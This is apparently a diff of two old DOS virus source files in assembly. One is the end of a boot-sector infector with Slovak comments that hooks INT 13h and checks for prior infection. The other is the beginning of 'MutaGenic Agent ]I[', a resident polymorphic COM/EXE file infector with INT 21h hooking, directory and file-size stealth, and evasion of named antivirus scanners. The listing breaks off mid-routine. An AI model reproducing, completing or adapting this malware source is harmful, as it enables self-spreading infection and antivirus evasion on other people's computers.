mov cs:7bfh,bl ; (727D:07BF=0)
|
||||
dec al
|
||||
mul bl ; ax = reg * al
|
||||
mov cs:7b3h,ax ; (727D:07B3=0CF3Eh)
|
||||
retn
|
||||
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_3: mov byte ptr cs:7c8h,0 ; (727D:07C8=3Bh)
|
||||
nop
|
||||
mov byte ptr cs:7c9h,0 ; (727D:07C9=6)
|
||||
nop
|
||||
loc_9: mov ah,2
|
||||
mov al,byte ptr cs:7b7h ; (727D:07B7=0AAh)
|
||||
cmp al,3
|
||||
jbe loc_10 ; Jump if below or =
|
||||
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
|
||||
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
|
||||
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
|
||||
mov al,3
|
||||
jmp short loc_12 ; (047F)
|
||||
|
||||
loc_10: or al,al ; Zero ?
|
||||
jnz loc_11 ; Jump if not zero
|
||||
jmp loc_19 ; (0551)
|
||||
|
||||
loc_11: mov byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
|
||||
nop
|
||||
|
||||
loc_12: mov cs:7ceh,al ; (727D:07CE=0F8h)
|
||||
lea bx,cs:[7D1h] ; Load effective addr
|
||||
mov cl,cs:7c9h ; (727D:07C9=6)
|
||||
shl cl,1 ; Shift w/zeros fill
|
||||
add cl,cs:7c9h ; (727D:07C9=6)
|
||||
inc cl
|
||||
inc cl
|
||||
mov cs:7cch,cl ; (727D:07CC=74h)
|
||||
xor ch,ch ; Zero register
|
||||
xor dh,dh ; Zero register
|
||||
mov dl,cs:7cah ; (727D:07CA=40h)
|
||||
call read_write
|
||||
jnc loc_13 ; Jump if carry=0
|
||||
jmp loc_ret_20 ; (0552)
|
||||
loc_13:
|
||||
mov ax,200h
|
||||
xor dh,dh ; Zero register
|
||||
mov dl,cs:7ceh ; (727D:07CE=0F8h)
|
||||
mul dx ; dx:ax = reg * ax
|
||||
sub ax,6
|
||||
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
|
||||
xor bx,bx ; Zero register
|
||||
loc_14:
|
||||
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
|
||||
ja loc_16 ; Jump if above
|
||||
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_15 ; Jump if not zero
|
||||
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_15 ; Jump if not zero
|
||||
mov ax,cs:7d5h[bx] ; (727D:07D5=40B8h)
|
||||
or ax,ax ; Zero ?
|
||||
jz loc_17 ; Jump if zero
|
||||
|
||||
loc_15: inc bx
|
||||
inc bx
|
||||
inc bx
|
||||
jmp short loc_14
|
||||
|
||||
loc_16: cmp byte ptr cs:7c8h,1 ; (727D:07C8=3Bh)
|
||||
je loc_19 ; Jump if equal
|
||||
inc byte ptr cs:7c9h ; (727D:07C9=6)
|
||||
jmp loc_9 ; (0454)
|
||||
loc_17:
|
||||
mov ax,0FFFFh
|
||||
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
|
||||
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
|
||||
mov cs:7d5h[bx],ax ; (727D:07D5=40B8h)
|
||||
xor ah,ah ; Zero register
|
||||
mov al,cs:7c9h ; (727D:07C9=6)
|
||||
shl al,1 ; Shift w/zeros fill
|
||||
add al,cs:7c9h ; (727D:07C9=6)
|
||||
mov dx,200h
|
||||
mul dx ; dx:ax = reg * ax
|
||||
add ax,bx
|
||||
xor dx,dx ; Zero register
|
||||
mov bx,3
|
||||
div bx ; ax,dx rem=dx:ax/reg
|
||||
dec ax
|
||||
shl ax,1 ; Shift w/zeros fill
|
||||
mov cl,cs:data_49 ; (727D:0DDE=0F6h)
|
||||
shr cl,1 ; Shift w/zeros fill
|
||||
or cl,cl ; Zero ?
|
||||
jz loc_18 ; Jump if zero
|
||||
shl ax,cl ; Shift w/zeros fill
|
||||
loc_18:
|
||||
add ax,cs:7b5h ; (727D:07B5=550Fh)
|
||||
call sub_5 ; (0611)
|
||||
mov byte ptr cs:7cbh,0 ; (727D:07CB=0)
|
||||
nop
|
||||
mov byte ptr cs:7cdh,0 ; (727D:07CD=2)
|
||||
nop
|
||||
xor dl,dl
|
||||
clc ;Clear carry flag
|
||||
jmp short loc_ret_20
|
||||
loc_19: stc ;Set carry flag
|
||||
loc_ret_20: retn
|
||||
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_4: mov ax,1FCh
|
||||
mov cs:7bch,ax ; (727D:07BC=0DC3Eh)
|
||||
mov byte ptr cs:7b9h,1 ; (727D:07B9=16h)
|
||||
nop
|
||||
mov word ptr cs:7bah,2 ; (727D:07BA=812Eh)
|
||||
loc_21:
|
||||
mov ax,201h
|
||||
lea bx,cs:[7D1h] ; Load effective addr
|
||||
mov cx,cs:7bah ; (727D:07BA=812Eh)
|
||||
mov dh,byte ptr cs:7b9h ; (727D:07B9=16h)
|
||||
mov dl,80h
|
||||
call read_write
|
||||
jnc loc_22 ; Jump if carry=0
|
||||
jmp loc_ret_28 ; (0610)
|
||||
loc_22:
|
||||
mov word ptr cs:7cch,cx ; (727D:07CC=274h)
|
||||
mov cs:7cbh,dh ; (727D:07CB=0)
|
||||
call sub_7 ; (06E9)
|
||||
mov cs:7bah,cx ; (727D:07BA=812Eh)
|
||||
mov cs:7b9h,dh ; (727D:07B9=16h)
|
||||
dec word ptr cs:7b7h ; (727D:07B7=75AAh)
|
||||
xor bx,bx ; Zero register
|
||||
loc_23:
|
||||
cmp bx,cs:7bch ; (727D:07BC=0DC3Eh)
|
||||
ja loc_25 ; Jump if above
|
||||
mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h)
|
||||
or ax,ax ; Zero ?
|
||||
jnz loc_24 ; Jump if not zero
|
||||
mov ax,cs:7d3h[bx] ; (727D:07D3=5350h)
|
||||
or ax,ax ; Zero ?
|
||||
jz loc_26 ; Jump if zero
|
||||
loc_24:
|
||||
inc bx
|
||||
inc bx
|
||||
jmp short loc_23 ; (05A1)
|
||||
loc_25:
|
||||
cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh)
|
||||
jne loc_21 ; Jump if not equal
|
||||
jmp short loc_27 ; (060F)
|
||||
db 90h
|
||||
loc_26:
|
||||
mov ax,0FFFFh
|
||||
mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h)
|
||||
mov cs:7d3h[bx],ax ; (727D:07D3=5350h)
|
||||
mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h)
|
||||
nop
|
||||
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
|
||||
sub ax,cs:7b7h ; (727D:07B7=75AAh)
|
||||
dec ax
|
||||
mov dx,200h
|
||||
mul dx ; dx:ax = reg * ax
|
||||
add bx,ax
|
||||
shr bx,1 ; Shift w/zeros fill
|
||||
dec bx
|
||||
dec bx
|
||||
mov ax,bx
|
||||
xor bh,bh ; Zero register
|
||||
mov bl,cs:data_49 ; (727D:0DDE=0F6h)
|
||||
mul bx ; dx:ax = reg * ax
|
||||
add ax,cs:7b5h ; (727D:07B5=550Fh)
|
||||
add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||||
call sub_5 ; (0611)
|
||||
mov dl,80h
|
||||
clc ; Clear carry flag
|
||||
jmp short loc_ret_28 ; (0610)
|
||||
loc_27: stc
|
||||
loc_ret_28: retn
|
||||
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_5: xor dx,dx ; Zero register
|
||||
mov bx,cs:7b3h ; (727D:07B3=0CF3Eh)
|
||||
div bx ; ax,dx rem=dx:ax/reg
|
||||
mov ch,al
|
||||
mov cl,6
|
||||
shl ah,cl ; Shift w/zeros fill
|
||||
mov cl,ah
|
||||
xor ax,ax ; Zero register
|
||||
xchg ax,dx
|
||||
mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||||
div bx ; ax,dx rem=dx:ax/reg
|
||||
mov dh,al
|
||||
inc dl
|
||||
add cl,dl
|
||||
retn
|
||||
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h)
|
||||
mov cs:data_3e,al ; (727D:000D=0)
|
||||
mov ax,cs:data_50 ; (727D:0DDF=0F6F6h)
|
||||
mov cs:data_4e,ax ; (727D:000E=0)
|
||||
mov ax,cs:data_52 ; (727D:0DE2=0F6F6h)
|
||||
mov cs:data_5e,ax ; (727D:0011=0)
|
||||
mov ax,cs:data_53 ; (727D:0DE4=0F6F6h)
|
||||
mov cs:data_6e,ax ; (727D:0013=0)
|
||||
mov al,cs:data_54 ; (727D:0DE6=0F6h)
|
||||
mov cs:data_7e,al ; (727D:0015=0)
|
||||
mov ax,cs:data_55 ; (727D:0DE7=0F6F6h)
|
||||
mov cs:data_8e,ax ; (727D:0016=0)
|
||||
mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h)
|
||||
mov cs:data_9e,ax ; (727D:0018=0)
|
||||
mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h)
|
||||
mov cs:data_10e,ax ; (727D:001A=0)
|
||||
mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh)
|
||||
mov cs:[drive_head-100h],dx
|
||||
mov cs:[stopa_sect-100h],cx
|
||||
mov ax,301h
|
||||
lea bx,cs:[0DD1h] ; Load effective addr
|
||||
mov dl,cs:7cah ; (727D:07CA=40h)
|
||||
call read_write
|
||||
jc loc_ret_30 ; Jump if carry Set
|
||||
call sub_7 ; (06E9)
|
||||
push cx
|
||||
push dx
|
||||
mov ah,4
|
||||
int 1Ah ; Real time clock ah=func 04h
|
||||
; read date cx=year, dx=mon/day
|
||||
mov cs:[year-100h],cx ; (727D:079C=0DD1h)
|
||||
mov cs:[month-100h],dh ; (727D:079E=0B9h)
|
||||
mov ax,79Fh
|
||||
sub ax,200h
|
||||
mov cl,9
|
||||
shr ax,cl ; Shift w/zeros fill
|
||||
inc al
|
||||
pop dx
|
||||
pop cx
|
||||
mov ah,3
|
||||
mov bx,200h
|
||||
call read_write
|
||||
jc loc_ret_30 ; Jump if carry Set
|
||||
mov al,cs:7ceh ; (727D:07CE=0F8h)
|
||||
lea bx,cs:[7D1h] ; Load effective addr
|
||||
mov cx,word ptr cs:7cch ; (727D:07CC=274h)
|
||||
mov dh,cs:7cbh ; (727D:07CB=0)
|
||||
call read_write
|
||||
jc loc_ret_30 ; Jump if carry Set
|
||||
mov al,1
|
||||
xor bx,bx ; Zero register
|
||||
mov cx,1
|
||||
xor dh,dh ; Zero register
|
||||
cmp dl,80h
|
||||
jne loc_29 ; Jump if not equal
|
||||
inc dh
|
||||
loc_29: call read_write
|
||||
loc_ret_30: retn
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
sub_7: push ax
|
||||
inc cl
|
||||
mov al,cl
|
||||
and al,3Fh ; '?'
|
||||
cmp al,cs:7beh ; (727D:07BE=0Dh)
|
||||
jb loc_31 ; Jump if below
|
||||
and cl,0C0h
|
||||
inc cl
|
||||
inc dh
|
||||
cmp dh,cs:7bfh ; (727D:07BF=0)
|
||||
jb loc_31 ; Jump if below
|
||||
xor dh,dh ; Zero register
|
||||
add ch,1
|
||||
jnc loc_31 ; Jump if carry=0
|
||||
add cl,40h ; '@'
|
||||
jnc loc_31 ; Jump if carry=0
|
||||
or cl,0C0h
|
||||
loc_31: pop ax
|
||||
retn
|
||||
|
||||
; ------------------------------------------------------------------------
|
||||
;
|
||||
; ------------------------------------------------------------------------
|
||||
read_write: push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov cs:7c0h,ax ; (727D:07C0=7502h)
|
||||
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
|
||||
mov cs:7c4h,cx ; (727D:07C4=11A1h)
|
||||
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
|
||||
loc_32: mov cx,4
|
||||
locloop_33: push cx
|
||||
mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h)
|
||||
mov al,1
|
||||
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
|
||||
mov cx,cs:7c4h ; (727D:07C4=11A1h)
|
||||
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_1e ; (0000:0230=0)
|
||||
pop cx
|
||||
jnc loc_34 ; Jump if carry=0
|
||||
xor ah,ah ; Zero register
|
||||
pushf ; Push flags
|
||||
call dword ptr ds:data_1e ; (0000:0230=0)
|
||||
loop locloop_33 ; Loop if cx > 0
|
||||
|
||||
stc ; Set carry flag
|
||||
jmp short loc_35 ; (078F)
|
||||
loc_34:
|
||||
dec byte ptr cs:7c0h ; (727D:07C0=2)
|
||||
cmp byte ptr cs:7c0h,0 ; (727D:07C0=2)
|
||||
je loc_35 ; Jump if equal
|
||||
mov cx,cs:7c4h ; (727D:07C4=11A1h)
|
||||
mov dx,cs:7c6h ; (727D:07C6=2E0Eh)
|
||||
call sub_7 ; (06E9)
|
||||
mov cs:7c4h,cx ; (727D:07C4=11A1h)
|
||||
mov cs:7c6h,dx ; (727D:07C6=2E0Eh)
|
||||
mov bx,cs:7c2h ; (727D:07C2=2E0Dh)
|
||||
add bx,200h
|
||||
mov cs:7c2h,bx ; (727D:07C2=2E0Dh)
|
||||
jmp short loc_32 ; (072D)
|
||||
loc_35:
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
retn
|
||||
|
||||
|
||||
; --------------------------------------------------------------------------
|
||||
; Nacitanie BOOT sektora
|
||||
; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny,
|
||||
; alebo command nie je READ
|
||||
; --------------------------------------------------------------------------
|
||||
read_boot: cmp ah,2 ;Read command
|
||||
jne read_boot_end
|
||||
mov al,1 ;Set 1 sector for READ_WRITE
|
||||
mov bx,buffer_boot
|
||||
mov cx,1 ;Boot sector
|
||||
xor dh,dh
|
||||
cmp dl,80h ;Pracujeme s diskom D: E: .. ?
|
||||
ja read_boot_end ;Ak ano odchod
|
||||
jnz obskok ;Skok ak nepracujem s C:
|
||||
inc dh
|
||||
obskok: call read_write ;Read boot sector
|
||||
jc return_
|
||||
cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag
|
||||
jnz read_boot_end ;Toto nie je Boot sect.
|
||||
cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ?
|
||||
jnz read_boot_end
|
||||
mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny
|
||||
cmp ax,cs:[40h]
|
||||
jz read_boot_end ;Ak ano odchod (Set error)
|
||||
clc ;OK
|
||||
ret
|
||||
read_boot_end: stc ;Error
|
||||
return_: ret
|
||||
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; Test casova prodlevy 1 sekundy
|
||||
; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda
|
||||
; ---------------------------------------------------------------------------
|
||||
timeout: push ds ;Backup registers
|
||||
push ax
|
||||
push bx
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
mov si,6ch
|
||||
mov ax,[si] ;AX = <0000:046C> - timer cnt
|
||||
mov bx,ax
|
||||
sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn.
|
||||
cmp ax,18 ;Ubehla aspom 1 sekunda ?
|
||||
jb este_nie ;Jump if no
|
||||
mov cs:7cfh,bx
|
||||
clc ;Set flag time OK
|
||||
jmp short obskok_t
|
||||
este_nie: stc ;Set flag este neubehla 1 sek.
|
||||
obskok_t: pop bx ;Restore registers
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; ----------------------------------------------------------------------------
|
||||
; Nahodna melodia
|
||||
; ----------------------------------------------------------------------------
|
||||
sound: push ds
|
||||
mov ax,40h
|
||||
mov ds,ax
|
||||
mov si,6Ch
|
||||
mov al,ds:data_2e ; (0040:006C=3Ah)
|
||||
cmp al,0DDh
|
||||
jb loc_40 ; Jump if below
|
||||
mov cx,24h
|
||||
mov si,ds:data_2e ; (0040:006C=0E43Ah)
|
||||
cld ; Clear direction
|
||||
|
||||
locloop_37: push cx
|
||||
lodsb ; String [si] to al
|
||||
and al,7
|
||||
cbw ; Convrt byte to word
|
||||
mov bx,ax
|
||||
xor ax,ax ; Zero register
|
||||
mov dx,12h
|
||||
div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data
|
||||
mov bx,ax
|
||||
mov al,0B6h
|
||||
out 43h,al ; port 43h, 8253 wrt timr mode
|
||||
mov ax,bx
|
||||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||||
mov al,ah
|
||||
out 42h,al ; port 42h, 8253 timer 2 spkr
|
||||
in al,61h ; port 61h, 8255 port B, read
|
||||
or al,3
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
mov cx,0FFFFh
|
||||
|
||||
locloop_38: loop locloop_38 ; Loop if cx > 0
|
||||
|
||||
in al,61h ; port 61h, 8255 port B, read
|
||||
and al,0FCh
|
||||
out 61h,al ; port 61h, 8255 B - spkr, etc
|
||||
; al = 0, disable parity
|
||||
mov cx,0FFFFh
|
||||
|
||||
locloop_39:
|
||||
loop locloop_39 ; Loop if cx > 0
|
||||
|
||||
pop cx
|
||||
loop locloop_37 ; Loop if cx > 0
|
||||
|
||||
loc_40: pop ds
|
||||
retn
|
||||
|
||||
db 6, 1, 26h, 1, 4Ah, 1
|
||||
db 5Bh, 1, 88h, 1, 0B8h, 1
|
||||
db 0EEh, 1, 0Ch, 2
|
||||
|
||||
; ---------------------------------------------------------------------------
|
||||
; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov
|
||||
; Prepocet CL (rok), DH (mesiac) -> AX (mesiace)
|
||||
; Pr. 6.12.1991 (9*10+1)*12 + (10+2)
|
||||
; ---------------------------------------------------------------------------
|
||||
year2month: mov al,cl
|
||||
shr al,1 ;Horne 4 bity
|
||||
shr al,1
|
||||
shr al,1
|
||||
shr al,1
|
||||
mov bl,10
|
||||
mul bl ;Nasob 10
|
||||
and cl,0Fh ;Dolne 4 bity
|
||||
add al,cl ;Pripocitaj
|
||||
mov bl,12
|
||||
mul bl ;Rok ma 12 mesiacov
|
||||
test dh,10h ;Mesiac 10,11,12 ?
|
||||
jz no_zima
|
||||
add ax,10 ;Pridaj
|
||||
no_zima: xchg dh,dl
|
||||
; and dx,0Fh
|
||||
db 83h,0e2h,0fh ;Original instruction for prev.
|
||||
add ax,dx
|
||||
retn
|
||||
|
||||
; ----------------------------------------------------------------------------
|
||||
; Predefinovanie INT 13h na NEW_13
|
||||
; ----------------------------------------------------------------------------
|
||||
redef_13: cld
|
||||
mov si,13h*4 ;Offset INT 13 in Zero segment
|
||||
mov di,si
|
||||
lodsw ;Load INT 13h
|
||||
mov word ptr cs:[old_13-100h],ax
|
||||
lodsw
|
||||
mov word ptr cs:[old_13-100h+2],ax
|
||||
mov ax,offset new_13-100h
|
||||
stosw ;Store new_13
|
||||
mov ax,cs
|
||||
stosw
|
||||
retn
|
||||
|
||||
; ----------------------------------------------------------------------------
|
||||
flag_action db 1
|
||||
pom_months dw 445h
|
||||
year dw 1991h
|
||||
month db 6
|
||||
db '-- Made In Taiwan --'
|
||||
|
||||
|
||||
sect_allhead dw 12h
|
||||
start_data dw 0ch
|
||||
backup_fat_size dw 2
|
||||
db 2,10h,0
|
||||
fat_size_byte dw 3fah
|
||||
sect_per_track2 db 0ah
|
||||
head_cnt db 2
|
||||
db 1,3,0,6,1,9,0,1
|
||||
db 1,0
|
||||
drive_number db 0
|
||||
head_for_fat db 0
|
||||
fat_block dw 2
|
||||
fat_size_block db 2
|
||||
timer_tick dw 2035h
|
||||
buffer label byte
|
||||
|
||||
db 0fdh
|
||||
db 0FFh, 0FFh, 3, 40h, 0, 5
|
||||
db 60h, 0, 7, 80h, 0, 9
|
||||
db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh
|
||||
db 0E0h, 0, 0Fh, 0, 1, 11h
|
||||
db 20h, 1, 13h, 40h, 1, 15h
|
||||
db 60h, 1, 17h, 0F0h, 0FFh, 19h
|
||||
db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh
|
||||
db 0E0h, 1, 1Fh, 0, 0F6h
|
||||
db 1245 dup (0F6h)
|
||||
data_49 db 0F6h
|
||||
data_50 dw 0F6F6h
|
||||
data_51 db 0F6h
|
||||
data_52 dw 0F6F6h
|
||||
data_53 dw 0F6F6h
|
||||
data_54 db 0F6h
|
||||
data_55 dw 0F6F6h
|
||||
data_56 db 0F6h
|
||||
db 0F6h
|
||||
data_57 db 0F6h
|
||||
db 483 dup (0F6h)
|
||||
data_58 dw 0F6F6h
|
||||
db 303 dup (0F6h)
|
||||
|
||||
mbug ends
|
||||
end start
|
||||
|
|
@ -0,0 +1,570 @@
|
|||
; ========================================================================>
|
||||
; MutaGenic Agent ]I[
|
||||
; by MnemoniX- 1994
|
||||
; Resident COM/EXE infecting virus
|
||||
; Infect on execution
|
||||
; Won't infect ??SCAN.EXE or F-PROT.EXE
|
||||
; Polymorphic, using MutaGen v2.0
|
||||
; Uses full stealth (disinfects in memory on open)
|
||||
; A tricky virus, so BE CAREFUL.
|
||||
; Usually nails COMMAND.COM on first run.
|
||||
; ========================================================================>
|
||||
|
||||
MGEN_SIZE equ 1938 ; for MutaGen 2.0
|
||||
|
||||
code segment byte public 'code'
|
||||
org 0
|
||||
assume cs:code,ds:code
|
||||
extrn _mutagen:near
|
||||
|
||||
start:
|
||||
db 0E9h,02,00,4Dh,47h
|
||||
virus_begin:
|
||||
push ds es
|
||||
|
||||
call $+3
|
||||
pop bp
|
||||
sub bp,offset $-1
|
||||
|
||||
mov ax,577Eh ; residency test
|
||||
int 21h
|
||||
cmp ax,0A881h
|
||||
je installed
|
||||
|
||||
mov ax,ds
|
||||
dec ax
|
||||
mov ds,ax
|
||||
|
||||
sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64
|
||||
sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64
|
||||
mov es,word ptr ds:[12h]
|
||||
|
||||
push cs ; copy virus into memory
|
||||
pop ds
|
||||
xor di,di
|
||||
mov si,bp
|
||||
mov cx,(virus_end - start) / 2 + 1
|
||||
rep movsw
|
||||
|
||||
xor ax,ax ; capture interrupt 21
|
||||
mov ds,ax
|
||||
|
||||
mov si,21h * 4
|
||||
mov di,offset old_int_21
|
||||
movsw
|
||||
movsw
|
||||
|
||||
mov word ptr [si - 4],offset new_int_21
|
||||
mov [si - 2],es
|
||||
installed:
|
||||
pop es ds
|
||||
|
||||
cmp sp,'GM' ; EXE?
|
||||
je exe_exit
|
||||
|
||||
mov di,100h
|
||||
push di
|
||||
lea si,[bp + read_buffer]
|
||||
movsw
|
||||
movsw
|
||||
movsb
|
||||
call fix_regs
|
||||
|
||||
ret
|
||||
|
||||
exe_exit:
|
||||
mov ax,ds
|
||||
add ax,10h
|
||||
add cs:[bp + exe_cs],ax
|
||||
add ax,cs:[bp + exe_ss]
|
||||
cli
|
||||
mov ss,ax
|
||||
mov sp,cs:[bp + exe_sp]
|
||||
sti
|
||||
call fix_regs
|
||||
db 0EAh
|
||||
exe_ip dw 0
|
||||
exe_cs dw 0
|
||||
|
||||
exe_ss dw 0
|
||||
exe_sp dw 0
|
||||
|
||||
fix_regs:
|
||||
xor ax,ax
|
||||
xor bx,bx
|
||||
cwd
|
||||
xor di,di
|
||||
mov si,100h
|
||||
xor bp,bp
|
||||
ret
|
||||
|
||||
int_21:
|
||||
pushf
|
||||
call dword ptr cs:[old_int_21]
|
||||
ret
|
||||
|
||||
new_int_21:
|
||||
cmp ax,577Eh
|
||||
je pass
|
||||
cmp ah,11h
|
||||
je dir_stealth_1
|
||||
cmp ah,12h
|
||||
je dir_stealth_1
|
||||
cmp ah,4Eh
|
||||
je dir_stealth_2
|
||||
cmp ah,4Fh
|
||||
je dir_stealth_2
|
||||
cmp ah,3Dh
|
||||
jne next_1
|
||||
jmp file_open
|
||||
next_1:
|
||||
cmp ah,6Ch
|
||||
jne next_2
|
||||
jmp file_open
|
||||
next_2:
|
||||
cmp ax,4B00h
|
||||
jne next_3
|
||||
jmp execute
|
||||
next_3:
|
||||
cmp ah,3Fh
|
||||
jne next_4
|
||||
jmp file_read
|
||||
next_4:
|
||||
cmp ax,5700h
|
||||
jne next_5
|
||||
jmp fix_date
|
||||
next_5:
|
||||
int_21_exit:
|
||||
db 0EAh
|
||||
old_int_21 dd 0
|
||||
|
||||
pass:
|
||||
not ax
|
||||
iret
|
||||
|
||||
dir_stealth_1:
|
||||
call int_21 ; do it
|
||||
test al,al ; if al = -1
|
||||
js cant_find ; then don't bother
|
||||
|
||||
push ax bx es ; check file for infection
|
||||
|
||||
mov ah,2Fh
|
||||
int 21h
|
||||
|
||||
cmp byte ptr es:[bx],-1 ; check for extended FCB
|
||||
jne no_ext_FCB
|
||||
add bx,7
|
||||
|
||||
no_ext_FCB:
|
||||
mov ax,es:[bx + 19h]
|
||||
cmp ah,100 ; check years -
|
||||
jb fixed ; if 100+, infected
|
||||
|
||||
ror ah,1
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 19h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 328
|
||||
sbb word ptr es:[bx + 1Fh],0
|
||||
fixed:
|
||||
pop es bx ax
|
||||
cant_find:
|
||||
iret
|
||||
|
||||
dir_stealth_2:
|
||||
call int_21 ; perform file search
|
||||
jnc check_file_2 ; if found, proceed
|
||||
retf 2 ; nope, leave
|
||||
check_file_2:
|
||||
push ax bx si es
|
||||
|
||||
mov ah,2Fh ; find DTA
|
||||
int 21h
|
||||
|
||||
mov ax,es:[bx + 18h]
|
||||
cmp ah,100 ; check for infection marker
|
||||
jb fixed_2
|
||||
|
||||
ror ah,1 ; fix up date
|
||||
sub ah,100
|
||||
rol ah,1
|
||||
mov es:[bx + 18h],ax
|
||||
|
||||
sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 328
|
||||
sbb word ptr es:[bx + 1Ch],0
|
||||
fixed_2:
|
||||
pop es si bx ax ; done
|
||||
clc
|
||||
retf 2
|
||||
|
||||
file_open:
|
||||
call int_21 ; open file
|
||||
jc open_fail ; carry set, open failed
|
||||
|
||||
cmp ax,5 ; if handle is a device,
|
||||
jb dont_bother ; don't bother with it
|
||||
|
||||
push ax bx di es
|
||||
|
||||
xchg ax,bx
|
||||
|
||||
push bx
|
||||
mov ax,1220h ; get system file table
|
||||
int 2Fh ; entry
|
||||
|
||||
nop ; anti-SCAN
|
||||
|
||||
mov bl,es:[di]
|
||||
mov ax,1216h
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
mov ax,es:[di + 0Fh] ; check time stamp
|
||||
cmp ah,100
|
||||
jb dont_stealth
|
||||
|
||||
cmp word ptr es:[di],1 ; if file has already
|
||||
ja dont_stealth ; been opened, don't stealth
|
||||
|
||||
sub es:[di + 11h],VIRUS_SIZE + 328
|
||||
sbb word ptr es:[di + 13h],0 ; stealth it ... change file
|
||||
; size
|
||||
|
||||
dont_stealth:
|
||||
pop es di bx ax ; restore everything
|
||||
dont_bother:
|
||||
clc
|
||||
open_fail:
|
||||
retf 2 ; and return
|
||||
|
||||
file_read:
|
||||
cmp bx,5 ; if read from device,
|
||||
jae check_it_out ; don't bother
|
||||
jmp forget_it
|
||||
|
||||
check_it_out:
|
||||
push si di es ax bx cx
|
||||
|
||||
push bx
|
||||
mov ax,1220h
|
||||
int 2Fh
|
||||
|
||||
mov ax,1216h
|
||||
mov bl,es:[di]
|
||||
int 2Fh
|
||||
pop bx
|
||||
|
||||
mov ax,es:[di + 0Fh] ; 100+ years
|
||||
cmp ah,100
|
||||
jae check_pointer ; is the magic number
|
||||
jmp no_read_stealth
|
||||
check_pointer:
|
||||
cmp word ptr es:[di + 17h],0 ; if file pointer above 64K,
|
||||
je check_pointer_2 ; then skip it
|
||||
jmp no_read_stealth
|
||||
|
||||
check_pointer_2:
|
||||
cmp word ptr es:[di + 15h],28 ; if file pointer under 28,
|
||||
jae no_read_stealth ; then DON'T
|
||||
|
||||
push es:[di + 15h] ; save it
|
||||
|
||||
mov ah,3Fh
|
||||
call int_21 ; do the read function
|
||||
|
||||
pop cx ; now find how many bytes
|
||||
push ax ; (Save AX value)
|
||||
sub cx,28 ; we have to change ...
|
||||
neg cx ; and where
|
||||
|
||||
cmp ax,cx ; if more than 28 were read,
|
||||
jae ok ; ok
|
||||
|
||||
xchg ax,cx ; otherwise, switch around
|
||||
ok:
|
||||
push ds cx dx
|
||||
|
||||
push es:[di + 15h] ; save current file pointer
|
||||
push es:[di + 17h]
|
||||
|
||||
add es:[di + 11h],VIRUS_SIZE + 328
|
||||
adc word ptr es:[di + 13h],0
|
||||
mov ax,es:[di + 11h] ; fix up file size to prevent
|
||||
sub ax,28 ; read past end of file
|
||||
|
||||
mov es:[di + 15h],ax
|
||||
mov ax,es:[di + 13h]
|
||||
mov es:[di + 17h],ax
|
||||
|
||||
push cs ; now read in real first 28
|
||||
pop ds ; bytes
|
||||
mov dx,offset read_buffer
|
||||
mov cx,28
|
||||
mov ah,3Fh
|
||||
call int_21
|
||||
|
||||
